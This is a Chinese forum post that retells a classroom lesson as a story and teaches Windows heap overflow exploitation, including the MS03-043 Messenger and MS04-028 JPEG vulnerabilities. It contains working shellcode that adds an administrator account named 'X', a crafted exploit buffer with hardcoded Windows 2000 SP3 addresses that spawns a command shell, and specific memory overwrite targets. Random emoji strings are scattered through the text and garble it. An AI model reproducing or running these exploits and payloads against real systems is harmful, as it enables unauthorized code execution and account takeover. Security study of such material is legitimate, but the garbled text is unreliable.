例——Message 堆 溢 出 漏 洞 的 利 用 👨🚒🧢📱😂✍“我们来看一个现实中真正的堆溢出漏洞——Windows Message堆溢出漏洞。其漏洞公告MS03 — 043,如下图。”老师说道,“大家先仔细看看。” 溢 出 点 的 定 位 “Messenger服务是一个Windows服务,它传送net send消息。在CMD控制台下,我们执行net send对 方计算机名消息,对方就会弹出一个信使服务对话框,显示我们传递给它的消息内容。如下图。” 🖐🚂🥩™🪰 “哦,这种消息传送的方法,比不上QQ、MSN,有什么用呢? ”大家问道。 “Windows Message服务除了用于用户间发送消息、管理员向用户发送管理警报外,也可用作事件通知, 比如当打印作业完成或计算机断电而切换到UPS时,自动使用Message通知用户。” 🙌💈📶🐮 “哦,原来可以和其他程序联动啊! ”大家都明白了。 “是的。我们从上图的信使服务对话框中可以看出,传送的Message包括发送方计算机名、接收方计 算机名、时间和消息。” 🤟🌞♀🐉 “确切的说,Message数据包的结构如下图。它是通过NetBIOS (即137—139端口或UDP的135端口) 传输的。”“有了 Message结构和前面网络编程的基础,我们完全可写出一个程序来完成net send正常传送消息的功 能。”老师说道,“但我们要更进一步,不仅要能正常传送,还要使其溢出!” 👮♂️👠📬😅👊 “哦?是哪部分发生了溢出呢?时间部分?还是机器名部分?”大家猜测道。 “呵呵,微软的公告上都说了,导致该漏洞的原因是:没有正确的验证长度就把消息传递给缓冲区了。所以消息部分过长后,就可以导致堆溢出!” “哦,是这样啊!”👨🚒🧢📮🤖👄 “明白了溢出的原因后,我们就可以先搭一个框架,然后根据别人的漏洞分析(或者利用前面的方法)定位溢出点。”老师在黑板上画了起来,“我们可以得到:是消息的2263个字节达到了下一个堆管理结构, 接下来就是两个要改写的操作指针,如下图。” “哦!和前面的堆溢出分析果然一模一样啊! ”同学们感叹道。 “是的,我们继续按照经典的三步走,完成攻击。” 🤞💈🥑🆘🐋 通 用 和 编 码 ShellCode 初 接 触 “定位了溢出点,下一步就是ShellCode的编写。” 🥼🛏🤑👍 “前几次课,我们对ShellCode的编写进行了详细讲解,这里就使用现成的添加用户的ShellCode吧!功 能是添加一个名为‘X’的用户,并加入到管理组中 unsigned char ShellCode[] = // XorDecode "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x96\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" 👃🗽🦞🐝// AddUser:X Pass:X "\xf0\x17\x7a\x16\x96\x1f\x70\x7e\x21\x96\x96\x96\x1f\x90\x1f\x55" "\xc5\xfe\xe8\x4e\x74\xe5\x7e\x2b\x96\x96\x96\x1f\xd0\x9a\xc5\xfe" "\x18\xd8\x98\x7a\x7e\x39\x96\x96\x96\x1f\xd0\x9e\xa7\x4d\xc5\xfe" "\xe6\xff\xa5\xa4\xfe\xf8\xf3\xe2\xf7\xc2\x69\x46\x1f\xd0\x92\x1f"🧑🍳👔🪥🙂👂 "\x55\xc5\xfe\xc8\x49\xea\x5b\x7e\x1a\x96\x96\x96\x1f\xd0\x86\xc5" "\xfe\x41\xab\x9a\x55\x7e\xe8\x96\x96\x96\x1f\xd0\x82\xa7\x56\xa7" "\x4d\xd5\xc6\xfe\xe4\x96\xe5\x96\xfe\xe2\x96\xf9\x96\xfe\xe4\x96" "\xf7\x96\xfe\xe5\x96\xe2\x96\xfe\xf8\x96\xff\x96\xfe\xfb\x96\xff" "\x96\xfe\xd7\x96\xf2\x96\x1f\xf0\x8a\xc6\xfe\xce\x96\x96\x96\x1f" 👁🌕🍊✔🐅"\x77\x1f\xd8\x8e\xfe\x96\x96\xca\x96\xc6\xc5\xc6\xc6\xc5\xc6\xc7" "\xc7\x1f\x77\xc6\xc2\xc7\xc5\xc6\x69\xc0\x86\x1d\xd8\x8e\xdf\xdf" "\xc7\x1f\x77\xfc\x97\xc7\xfc\x95\x69\xe0\x8a\xfc\x96\x69\xc0\x82" "\x69\xc0\x9a\xc0\xfc\xa6\xcf\xf2\x1d\x97\x1d\xd6\x9a\x1d\xe6\x8a" "\x3b\x1d\xd6\x9e\xc8\x54\x92\x96\xc5\xc3\xc0\xc1\x1d\xfa\xb2\x8e" 🧠🚐🍟🚷🐡 "\x1d\xd3\xaa\x1d\xc2\x93\xee\x97\x7c\x1d\xdc\x8e\x1d\xcc\xb6\x97""\x7d\x75\xa4\xdf\x1d\xa2\x1d\x97\x78\xa7\x69\x6a\xa7\x56\x3a\xae" "\x76\xe2\x91\x57\x59\x9b\x97\x51\x7d\x64\xad\xea\xb2\x82\xe3\x77" "\x1d\xcc\xb2\x97\x7d\xf0\x1d\x9a\xdd\x1d\xcc\x8a\x97\x7d\x1d\x92" "\x1d\x97\x7e\x7d\x94\xa7\x56\x1f\x7c\xc9\xc8\xcb\xcd\x54\x9e\x96"; ✌🚐🦞☯🦉 “老师,这个ShellCode是针对哪个系统的呢? ”台下有人问道。 “这个ShellCode是经过编码变换的,而且采用动态定位的方式,各个系统可以通用。” “编码?通用?好神奇啊!这是怎么实现的呢? ”大家问道。 🤞🌞🍟🚷🐟 “看来大家都很有兴趣,那我抽个时间给给你们讲讲ShellCode的编码及其高级编程吧!” “好啊! ”大家欢呼起来。 “到时我再讲具体的实现吧!现在直接使用就可以。”老师说道,“我们还是先完成对Windows 2000 SP3 Message堆溢出漏洞的攻击吧!” 🖕🚗🥛🈚🦦 跳 转 和 构 造 “第三步就是实现跳转到ShellCode中。”老师说,“现在,大家类比刚才的例子想想,知道该怎么做了吧? ” “嗯,在消息段中,先覆盖2263个无用字节进行填充,这样就到了堆管理块;用NOPNOPJmp 08覆盖管理 块,用来跳过后面的what和where,然后进入最后的ShellCode中。”古风说。 玉波也抢着回答:“而我们把what覆盖成call[esi+4C]的地址,把where覆盖成默认异常处理地址,后面跟ShellCode,就像下图一样。”🧓🩰💶😳🙌 “这样,在what—where的操作时,就会把顶层异常处理地址覆盖成call [esi+4c]的地址;发生异常 后,就会执行call [esi + 0x4C],跳转到堆管理结构中;那儿我们正好放的是JMP 08,这样跳进最后 的ShellCode中了。”宇强也把流程说了一遍。 “非常好! ”老师很满意大家的表现,“特别是在Windows2000 SP3下,call [esi+4C]指令的地址是 0x77e2f91f,顶层异常处理地址是0x77ec044c,这是我们在前面得到的。这样,数据构造就如下图所示。” 🙌🔥🫖☯🐋 “好了! ”老师说道,“我们就这样构造出了消息部分数据,再加上其他的数据头等结构,得到程序 message.。。我们把数据发给有漏洞的目标机,目标机就会跳过去执行我们的ShellCode。” “实际测试一下,我们先在‘工程一设置’里设置要攻击的主机,如下图。” 🤟🌕🍭♾🐂 “再编译、执行。目标机上就会出现下图的效果。” “哦!引发了错误!”同学们叫道。 “是的,那是Services系统服务异常后引起的。但我们可以看到,已经加上了一个名为‘X’的用户,完成了我们想要的功能!” “是啊!是那换成其他功能的ShellCode也可以么?” “当然可以,只要那个ShellCode符合堆漏洞的条件就行,大家下去可以自己测试。好了,我们休息一下! ” 👌🚂🍓♊🐒 RtlFreeHeap 的 失 误 课间休息时大家议论纷纷。 “缓冲区溢出有如此多的方法,真奥妙啊!” 🤳🚈🍖🈸🐺 “有些地方无法用语言表达,只能自己去感受!” “是的! ”老师说道,“程序设计其实就是一门艺术;而缓冲区溢出编程,更是普通程序设计之上的突破与创新!” “不过说到程序设计艺术啊!”老师和大家随便的聊开了,“强烈建议大家参与ICPC/ACM (国际大学生程序设计竞赛)。该赛事极大的锻炼了学生的逻辑分析能力、策略制定和脑力开发!” 👃🌦🍪❗🐞 小知识: ICPC/ACM (国际大学生程序设计竞赛)是由ACM (Association for Computing Machinery,美国计算机协会)组织的年度性竞赛,始于1970 年,是全球大学生计算机程序能力竞赛活动中最有影响的一项赛事。竞赛方式是在指定时间和地点,由3 个成员组成的小组应用一台计算机在5个小时内编程解决6至9个生活中的实际问题,现场提交源程序, 自动评判是否通过测试数据,按照解决问题数目的多少和耗时排名。 老师接着说:“ICPC/ACM分为各洲的预赛和美国总部总决赛。预赛的第一名或前两名队伍会获得去美国参加世界总决赛的资格。总决赛的地点前两年在夏威夷,现在在好莱坞。” 🤌🏝🥣🆚🦜 “哇!都是好想去的地方啊! ”小倩说道。“中国大陆2001年只有一个赛点——上海大学。后来增加了一个,2002年是北京清华和西安交大,2003 年是北京清华和中山大学,今年2004年是北京大学和上海交大。” “中国谁最强呢?清华么? ”古风仰慕的问道。 “实力都很接近。但上海交大代表队于2002年获得世界总决赛冠军!是国内唯一的一次冠军! ”老师满脸自豪。 🙏🌧🎂↔🐴 “哇!世界冠军啊!”玉波的嘴都张大了。 “是啊,我们学校离一流强队还有一定的差距,未来就在你们身上啊!平时可供练习的网站有浙江大学 (acm.zju.edu.cn)、四川大学(acm.scu.edu.cn),里面有大量题目和不定期的比赛交流。” 🌡🫖🅿🦠 “大家有时间的话,多参与一些此类的活动吧!打好算法和数据结构的基础,不要虚度了大学四年的时光 啊! ” 宇强听了老师的话后,内心激荡不已…… 有 问 题 的 程 序 🧑💻🥾🗝😇🦴“好了,我们继续上课吧! ”老师说道。 “大家都清楚了堆溢出利用的实质吧!就是写任意4个byte的数据到任意的内存地址中,即前面强调的 what—where。除了刚才再分配时,我们能实现what—where外,我们也可覆盖已分配的管理结构,使它在释放时被我们利用!” “哦?还可以这样啊?真是想不到,怎么利用啊? ”同学们纷纷问道。 “看来大家兴趣都很高,不错,有兴趣才能钻研嘛!先看另一个有堆溢出问题的程序heapvul2.cpp。如下:” ✋🏝🌶♀🐕 [mw_shl_code=c,true]#include <string.h> #include <stdio.h> #include <windows.h> #include <malloc.h> 👂🚗🍍🈚🦦int main (int argc, char *argv[]) { HANDLE hHeap; char *buf1, *buf2; //一个38字节的缓冲区 👀🦼🥑🆎🪶char mybuf[] = "11112222333344445555666677778888\x03\x00\x05\x00\x00\x09"; //我们自己建立一个HEAP hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000, 0xfffff); //分配两块32字节内存 buf1 = (char *)HeapAlloc(hHeap, 0, 32); 👴👑🪜🤐👂 buf2 = (char *)HeapAlloc(hHeap, 0, 32); //把38字节的‘mybuf’拷贝到32字节的‘buf1’里 memcpy(buf1, mybuf, 32+6); //释放内存 HeapFree(hHeap, 0, buf1); 🤟🍭➡🦚//这里会出错 HeapFree(hHeap, 0, buf2); return 0; }[/mw_shl_code] 🧑💻💍🧪😆💪 “和上面那个 heapvul2.cpp 程序不一样,”老师说道,“这里 buf1=(char *)HeapAlloc(hHeap, 0, 32); 和 buf2=(char *)HeapAlloc(hHeap, 0, 32); —来就动态分配好了 ‘buf1’ 和 ‘buf2’ 的空间,如下图。” “然后 memcpy(buf1, mybuf, 32+6);就是把 ‘mybuf ’ 数组拷贝到 ‘buf1’ 里。拷贝了 38 字节,‘buf1’ 只有32字节。这样过长的字符串拷给‘buf1’,不仅覆盖了其32字节的空间,还覆盖了 ‘buf2 ‘的管理 结构,如下图。” 👎⛵🍓❎🐝 “最后执行HeapFree(hHeap, 0, buf2)释放‘buf2’时就会出错。”老师说道。“我们测试一下,编译、 执行!弹出出错对话框:‘0x77fccfe8’指令应用的‘0x34343434’内存,该内存不能为‘written’ ,如下图” Windows 堆 块 的 管 理 结 构 👩🧦📱🤑🦴“哦! 0x34343434是我们构造的数据吧?”大家高兴的说,“那我们又可以控制把任意东西写进任意位置了啊? ” “是啊,但为什么要把‘Buf2’的管理结构填成\x03\x00\x05\x00\x00\x09这么奇怪的数呢? ”宇强又发现了问题。 👆🗼🫑™🐙 “嗯,观察得很仔细。因为在Windows下堆管理有很多分支,所以堆的溢出也非常复杂。Windows系统在 作释放处理时,将根据堆块管理结构的数据来进入不同流程的处理。”“哦! ” “所以,如果我们想要在Buf2释放时能控制what和where的值,并能执行what—where的操作,那就需要精心构造‘Buf2’的管理结构!” 🤳🚈🍟↔🐞 “堆块的管理结构都是8个字节,每个字节的含义如下图。” “要达到我们的目的,产生what—where的操作,就需要让‘Buf2’的管理结构满足下面的条件。”老师说。 👊🚤🥄🆗🦕 “第一,要让‘索引号’段的值小于0x40; 第二,要让‘Flag’的第0位和第三位都置1,如下图。” 👃🌦🫖🅰🐡 小知识:Flag段每位的含义0x01 - HEAP_ENTRY_BUSY 0x02 - HEAP_ENTRY_EXTRA_PRESENT 0x04 - HEAP_ENTRY_FILL_PATTERN 👄🚂🫖🅱🐻0x08 - HEAP_ENTRY_VIRTUAL_ALLOC 0x10 - HEAP_ENTRY_LAST_ENTRY 0x20 - HEAP_ENTRY_SETTABLE_FLAG1 0x40 - HEAP_ENTRY_SETTABLE_FLAG2 0x80 - HEAP_ENTRY_SETTABLE_FLAG3 🧠🗼🥩🈷🦟 what→where “在这样的构造下,RtlFreeHeap的时候会有一系列操作。”老师接着解释道。“首先,esi是指向‘Buf2’ 的管理结构,后面会有esi=esi-24的操作,esi就指向了 ‘Bf1’的存储空间数据。如下图。” 👂🚐🧊📶🪶 “然后会有,mov eax,[esi]; mov esi, [esi+4]的操作,现在eax和esi都是‘Buf!’中的数据了。 如下图。”“最后,有一个mov [esi],eax的操作(如下图),即我们想要的what—where。这里的where是esi, what是eax,而且esi和eax是‘Bufl’中的数据,都是我们可以控制的。” 🧒🩴📥🤩🤛 “哦,那我们精心构造B的管理结构的值,并覆盖掉what和where位置上的值就可以了!”宇强现在明白 了。 构 造 和 利 用 ”对,我们构造一个示意图。“ 🙏🚠🥛♀🐡 ‘那我们按照这个结构构造出利用的‘mybuf’就可以了。”大家七手八脚的构造出了 mybuf数据。 char mybuf[] = "11112222" ✌🚤🍌📵🐕"\x1f\xf9\xe2\x77" //what call[esi+0x4c] in user32 "\x4c\x04\xec\x77" //where TOP SEH in 2000 sp3 cn //"\xaa\xaa\xaa\xaa" //test "5555666677778888\x03\x00\x05\x00\x00\x09" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"👦👙🔭😪💪 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 🧑⚕️🕶🔑🥰👂 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 🙌🌡🍪💲🐠 //下面是Win2000 SP3下的开DOS窗口的ShellCode,参看第二章"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" 🏝🎂♀🕊 "\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64"\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 💅🔥🍇🈚🦠"\x50\xB8" "\xc3\xaf\x01\x78" //SP3 system地址0x7801afc3 "\xFF\xD0"; “呵呵,大家回去测试一下,如果有什么问题,自己要试着解决! ”老师说道,“而现在,我们继续探讨堆溢出利用的问题。” 🤞🏫🌰🈚🐅 堆 溢 出 的 其 他 利 用 方 式 “堆溢出利用的本质,就是使其产生what—where的操作,而让系统走向我们想要的流程。所以把what 和where覆盖成什么值是利用能否成功的关键。”老师说道。“刚才我们使用的是默认异常处理地址,方 法是把where覆盖成默认异常处理的地址,把what覆盖成ShellCode地址或能达到ShellCode的语句地址。” “嗯,Windows2000下的what就是call [esi+0x4c]指令的地址?”同学们说道。 🤌🗺🫑🅿🐤 “对,对于Windows2000,还可以是call [ebp+0x74]指令的地址,而在XP系统下,则是call[edi+0x78] 指令的地址。” “这种覆盖方法,看起来还是不错嘛! ”大家看起来都很满意。 🌕🍊🈷🦊 “这种方法的优点是比较准确;但缺点是需要确切知道对方的系统和SP补丁号一默认异常的处理地址在 各个版本和SP下都是不同的。”“是啊! ”这句话提醒了大家,“好像还提到过把where覆盖成SEH的方法吧!” “是的,那是把where覆盖成当前异常处理程序地址,what覆盖成能达到ShellCode的语句地址。” 👨⚕️🔭☠👍 “前面也说过,这种方法的优点与对方的系统和补丁无关,会比较准确通用;但缺点是需要对方线程地址是固定的。” “哦,那有别的更好的覆盖方法吗?”大家对已有的利用方式还不满意。 🧑💻👑💾😘👀 “基于对Windows系统的深层认识,还有另外一些方法;但总的说来,这些也是类似的。”老师回答道。 覆 盖 PEB 小知识:PEB和TEB 👩👖💳😈👆 PEB,指进程环境块。TEB,指线程环境块。 在编程实现时,可以通过FS寄存器找到TEB、PEB甚至默认堆的起始地址。具体说,就是FS:[18]—TEB; TEB+30—PEB; PEB+18—默认的堆地址。在ShellCode高级编写中会有详细讲解。 “在NT4/Windows2000/XP下,PEB的值都是固定的,都是0x7FFDF000。而在PEB偏移0x20的地方(即 0x7FFDF020),有一个函数指针 RtlEnterCriticalSection()函数的指针。如下图。” 👨🎨👠🗝🥰🦷 ”哦,莫非我们可把where覆盖成它? ”玉波问道。 “对! RtlEnterCriticalSection()函数很多地方都要用到,我们如果把0x7FFDF020覆盖成ShellCode的 地址,那么系统调用RtlEnterCriticalSection函数时就会进入我们的ShellCode。覆盖示意图如下图。” 👨⚕️🧣📷😭🤟 “哦! 0X7FFDF020这个地址对所有版本和系统都是通用的;那我们可得到版本无关的覆盖了? ”大家说道。 “是的,这是该方法最大的优点;但也有缺点,就是需要目标程序在后面调用RtlEnterCriticalSection ()函数才能进入我们的ShellCode。” 👩🛍🪝😫🦴 “的确是这样啊!” “而且这样的覆盖也有可能会引发异常。所以能否进入我们的ShellCode,就需要具体程序具体分析,不能一概而论。” 覆 盖 Vector 异 常 句 柄 👆💈🍭💲🦊 “在XP下,有一种特殊的结构Vector异常句柄结构。它和传统的异常处理链存在堆栈中不同,Vector是存在堆里的。” 小知识:Vector异常句柄结构 struct _VECTORED_EXCEPTION_NODE🧒👜📬🤤🤛 { DWORD m_pNextNode; DWORD m_pPreviousNode; PVOID m_pfnVectoredHandler; }👦🛍📠😄👈 “哦?莫非我们可通过覆盖它来实现跳转? ”宇强听出了一点意思。 “不错!很有创新思维嘛! ”老师笑道。 宇强不好意思的小声对小倩说:“其实老师都说出这个意思了!” 🧑⚕️🛍🖥☠🤌 小倩回道:“但你悟性的确很好啊!” “那里哦!听听老师怎么讲的吧!”宇强表面虽作推辞状,心里却高兴极了。 老师在台上说:“就是这样的,第一个Vector异常句柄位于地址0x77FC3210中,当作异常处理时,会有下面的处理:” 🤟🌧🫖☣🦦 Mov esi,:[0x77FC3210] call [esi+8] “所以,我们把where覆盖成0x77FC3210,而把what覆盖成ShellCode的地址一8。如下图”。 👨🦱👗💊😃👎 “假设 ShellCode 的地址是 0x0012FF50,我们就把 what 覆盖成 0x0012FF50-8 = 0x0012FF48。” “当执行what—where时,0x77FC3210就会设为0x0012FF48;这样在发生异常处理时,先mov esi, : [0x77FC3210] , esi 就会变为 0x0012FF48;再执行 call [esi+8]时,就是执行 call 0x0012FF50 。 ”👩✈️🥼🩺😈🤌 “哦!这样就可进入位于0x0012FF50地址的ShellCode 了。”大家说道。 “是的!” 🧑🍳💍🪥😀👎 “这种方法也有不足之处吗?” “又让大家失望了,的确是的,”老师说道,“第一个不足是只针对XP系统有效,Win2000下是没有Vector 溢出处理的;第二个不足是:‘what’要么覆盖成ShellCode的地址,要么覆盖成是指向ShellCode的某 个地址,都有可能造成不可信的覆盖。” 其 他 方 法 🧓🧢🔋🥰👍“天啊!就没有完美的办法么? ”玉波绝望的说。 “我也知道这个世界,缺乏圆满〜”宇强哼出林志炫的《散了吧》里的一句歌词。 “哈哈哈……”全班同学都笑了。 👦🧢⌨😀👍 “学习了这么多,觉得Windows系统真有意思啊!”古风自喃道。 “操作系统是最底层、最复杂的用户软件,多亏了 Bill Gates创造出Windows这种人性化的操作系统。” 💪🚘🥄⁉🦦 老师说道,“大家越深入的学习,就会越赞叹程序设计这座美妙的大厦。这里提醒大家,我们不仅要学习系统本身,更关键的是学习微软设计系统的思想和实现系统的方法。” “嗯,虽然没有源代码,但能感觉到他们处理问题的条理性和严谨性。”宇强认真的说。 “对!另外,大家还应体会到团队合作的必要性和管理的重要性,”老师说道,“你们想啊!这么大一个 系统,浩如烟海的代码量,需要成千上万人的配合开发,如果管理协调有任何一点没到位,都不可能完成 的。“🧓🦺📞😥✊ “而这方面目前在国内还很缺乏,如果大家有机会,能去微软亚洲研究院和微软工程院见识见识,近距离的向他们学习,对自己的提高是大有裨益的!” “哦,微软研究院?想都不敢想!”大家喧哗了。 👦🩴🔒🤪 宇强听了老师的话后,顿觉得世界好大,自己好小……要学的东西很多,而一个人的时间又是这么宝贵,真的要抓紧再抓紧!努力再努力! “老师,还有其他覆盖方法吗?”古风把宇强的思路拉了回来。 🦺🪜🤡✌ “如果对系统研究得越深,就会有越深入的见解。”老师回答说,“Matt Conover和0ded Horovitz在 BlackHat04会议上提到:我们可以构造伪造的堆块,使它释放时能算出ShellCode的地址!” “啊?算出来? ¥※……※太牛了吧! ” “这里的算出,是确切的计算出堆的地址! Matt和Oded在深入研究了 Windows堆管理后指出:我们申请 小于1024大小的堆块,系统会释放到Lookaside结构中,而Lookaside的地址是知道的,我们也知道会释放到哪个结点中,所以我们就可知道堆块释放后的地址是多少!” 🤛🌦🍒↔🦮 “给大家举个例子,假设堆的基址是0x70000, Lookaside在堆基址偏移0x0688的地方,即地址是0x70688。 我们申请分配922大小的堆块,释放时就会把它放在:取8对齐(922) /8=936/8=0x75的Lookaside位置 中,每个Lookaside位置占据0x30的大小,所以我们的堆的地址就是0x70688+0x75*0x30=0x71c78 ! ” “哦!还可以这样啊! 👦👗🖲👻👈 “我们的ShellCode就会在其中,这下就精确知道ShellCode的地址了!” “这真是……不走寻常路,世界真奇妙……”大家对Matt和0ded的思维佩服得无话可说。 “在Windows下,堆的管理非常复杂,还有另外一些复杂的技术可以利用,但这里就不提了,以后有机会 再说吧。”老师说道。 🤛🗺🫑♑🦊 “其实,还有一个常用方法,就是覆盖函数或者函数的返回点,但就更需要结合具体的漏洞来分析了。” “可以真实的学习一下吗? ” 🙌🫖❗🕊 “当然可以啊!我们来看一个比较新的堆溢出漏洞一MS04-028堆溢出漏洞。” 实 例——JPEG 处 理 堆 溢 出 漏 洞 的 利 用 “MS04-028漏洞是Windows XP/Windows XP SP1和其他一些(如.NET等)应用软件在处理伪造JPEG图片时出现的问题。”老师指着下图说。 🦴🌦🍟☪🐉 “哦,是堆溢出漏洞,并能被利用执行任意代码呢!”大家仔细看了公告后说道。 “是的,正好我们学习堆溢出,一起来分析利用它吧!” 👵🧣🧬😴🖕 大家又打起精神,聚精会神的听了起来。 漏 洞 的 起 因 “JPEG是联合图像专家小组的英文缩写,该小组制定了图像压缩的国际标准算法一JPEG算法,由该算法产生的图像就是JPEG图像。”老师说道。 🧑💻🥾📟😇🦷 小知识:JPEG图像的主要格式 0xFFD8 图像开始标志 0xFFE0 ~0xFFEF 应用0~应用F标志,标志后面接相关数据,下同 0xFFFE 注释标志 👏🦼🍌🅰🐴 0xFFDB 量化表标志 0xFFD0 帧开始标志 0xFFD4 哈夫曼表标志 0xFFDA 图象数据标志 ✍⛵🍞🅱🐢 0xFFD9 图像结束标志 “会出现问题的地方在注释部分,注释段以0xFFFE为开始标志;后面是注释段的长度值,再后面为注释的数据。” “注释段的长度值是2个字节的无符号数,其值为注释的数据长度+2,这里的2是长度值本身占用的2个 字节。一个合法的注释段如下图。”🧑🎤👒🪥😇✌ 老师指着图解释道:“注释数据‘0x0102’为2个字节,所以长度值= 2+2=4。当系统要拷贝注释内容时, 就分配长度值一 2 =4 — 2 =2的空间,然后把注释内容拷到那个空间去。 “嗯,看起来都很好啊?有什么问题吗? ”古风问道。 👨🦱🛍🖥🤪👌 “呵呵!问题就在这里,由于长度值本身占据的两个字节要计入长度中,所以长度值的最小值为2,表示没有注释数据在后面。而如果长度值被伪造为0或1,大家想想会有什么问题呢?”老师望着台下听讲的同学们。 “长度值会被减2,那0或1减2,就会得到-2或-1,那程序会怎样呢? ”大家觉得很奇怪。 🙌🛑🥩📵🦠 “长度定义是无符号数,那-2或-1就会被认为是……”老师提醒大家。 “-2或-1就会被认为是是无符号数的0xFFFE或0xFFFF ! ”大家终于回过神来。 “对!这样系统就分配大量的空间用于存储并拷贝,由于拷贝的数据非常大,自然就会引发异常了。”🧒🧦🔋💀🖕 构 造 的 特 殊 性 “哦,那是不是引发异常后,有what—where的操作呢? ”宇强凭感觉说道。 “是的!异常后有what—where的操作,而且what是FFFE后的第12个字节,而where是FFFE后的第16 个字节。如下图” 👀🚂🍪©🐂 “那我们把where覆盖成默认异常处理地址,what覆盖成ShellCode地址就可以了? “好啊!大家试试?” 👁⛪🍍❓🐮 “把what填为ShellCode的地址,where填为系统默认异常处理地址,后面跟上ShellCode的代码。生成伪造图片后,我们在资源管理器中浏览试试。” 教室里一片安静..... 👎⛪🈳🦋 “这是怎么回事呢? ”古风疑惑的看着老师。 “呵呵,这是没有引发默认异常处理啊!”老师回答说。 “哦!那我们换个利用方式吧,”古风说道,“把where覆盖成SEH处理地址,what覆盖成ShellCode 地址,再试试!” 🧑🎤🧢⚔🤖🙏 “铛! ”这下弹出了异常对话框。 “这次引发了默认异常处理,却没进入到SEH处理中。”老师说道。 👃🚂🥄🐟 “天啊!这这么办啊? ”古风彻底迷糊了。 “呵呵!堆溢出漏洞的利用就是需要具体漏洞具体分析。对于这个漏洞,我们有特殊的利用方法。” “什么特殊方法呢? ”大家都急切的想知道。🧑💻🎩💳😉👃 “在异常处理后,系统会返回到GdiPlus.dll中继续执行,这是GdiPlus.dll特有的行为,不是每个堆溢出漏洞都会有的。” “老师直接说结果吧! ”古风按耐不住了。 🔥🍭♻🦠 “好的,覆盖方法是把where赋成0x7830B1DC,而what赋成EF 1F。” 老师继续解释道:“0x7830B1DC是XP SP1的GdiPlus.dll中的一个函数地址,在异常处理后会被调用。 所以当异常处理执行what—where时,就会将这个函数改写;异常处理后,会返回GdiPlus.dll中调用我们覆盖的函数。经过多次处理后,程序就会到达我们what这条指令了。” 021D6250 EB 1F JMP SHORT 021D6271👨🦱💄🗑😚👀 “哦!我们再在后面赋上ShellCode就可完成攻击了! ”大家说道。 “不错,就是这样的!” 💪🚘🦞🔞🦋 完 美 的 利 用 “好,思路都清楚了,我们来构造利用吧! ”。 “好咧,首先是注释标志0xFFFE,然后是伪造的注释段长度0x0001,接着14直接填充数据后,就是我们的what和where 了。”古风构造了起来。 宇强和玉波也接着说:“对,然后把what写成0xEB 1F,where写成0x7830B1DC,后面跟我们的ShellCode, 如下图。” 👍⛴🍇🅿🐥 “这里的ShellCode还是完成添加名为‘X’管理员用户的功能,”老师补充道,“我们再按照JPEG的格 式加上一些JPEG图片的数据,完成后得到xpspl.JPEG。” “那我们测试一下吧! ”大家期望的说。🧑🎤🪖🦯🤡✍ “好呢!我们在资源管理器中打开它,哇!资源管理器异常重启,但用户添加上去了。” “呼!终于成功了!” 🤟🌡🌶↔🦚 玉波感叹的说:“看来堆溢出的利用的确没有通吃的办法啊!” “学知识不是吃东西啊!我们需要先掌握一般的原理,打好基础,然后具体问题具体分析,这样才能创造性的解决较困难的问题。”老师说道。 “嗯,我们一定牢记于心!” ✍🚘🍖📵🦦 “好,这么晚了,今天都到这里吧,大家辛苦了!” “那里那里,老师才辛苦呢!”
帖子热度 1.2万 ℃
小执念在论坛瞎逛,捡到 2 个 金币.
|
|
《月光宝盒》 小倩一边收拾东西一边问宇强:“下课干什么呢?”🥷🧦🦯😉👍 “我想去图书馆借两本缓冲区溢出编程的书! ”宇强说。 “哦!我也有点想去,我们一起吧!” 👃🌧🍇🔞🐶 “好啊! ”宇强想到又可以和小倩一起走,真高兴! “先吃点东西吧,好饿啊!”走出教室时宇强说道,“图书馆旁边家属区里的饺子挺不错的,我们去那里吃吧!也顺路。” “好啊! ”小倩满脸愉快悦。👵👞💉😳👎 图书馆在老校门旁边,正对对着文科楼,一条沿途长满高大柏树的大道把它们隔开。图书馆门外有着老校长吴玉章的塑像和“海纳百川,有容乃大”八个大字。 “图书馆里没有讲缓冲区溢出编程的书呀! ”宇强查了查电脑,对小倩说道。 🧑🍳🎩🪥😊👈 “应该还没有出版过这方面的书吧!” “是啊!那我去借两本操作系统和ACM竞赛的书吧!《程序设计竞赛与艺术》?好Cool的名字啊!刘汝佳! 哇!信息学竞赛的N0.1!我去借这本书,你等我。” 过了一会,宇强满意的抱着一堆书从楼上走下来,对小倩说:“真不错啊! LRJ现在都是国家队教练了, 还在读大学也。这几本书是帮你借的。”🧑🌾👗🩸🤑🤙 宇强递给了吴小倩一本《算法导论》和一本《Windows核心编程》。 “哦!都是好书啊,谢谢你啊!” 👊🌦🍞♂ “没事,不用谢!我们走吧!” 两人走到了图书馆门口,看见“图书馆影院”贴着《月光宝盒》的海报。 “很老的片子啦!但很经典! ”宇强停下来,指着海报上带着紧箍咒的孙悟空说道。 🤳🏫🥑🅾🐂 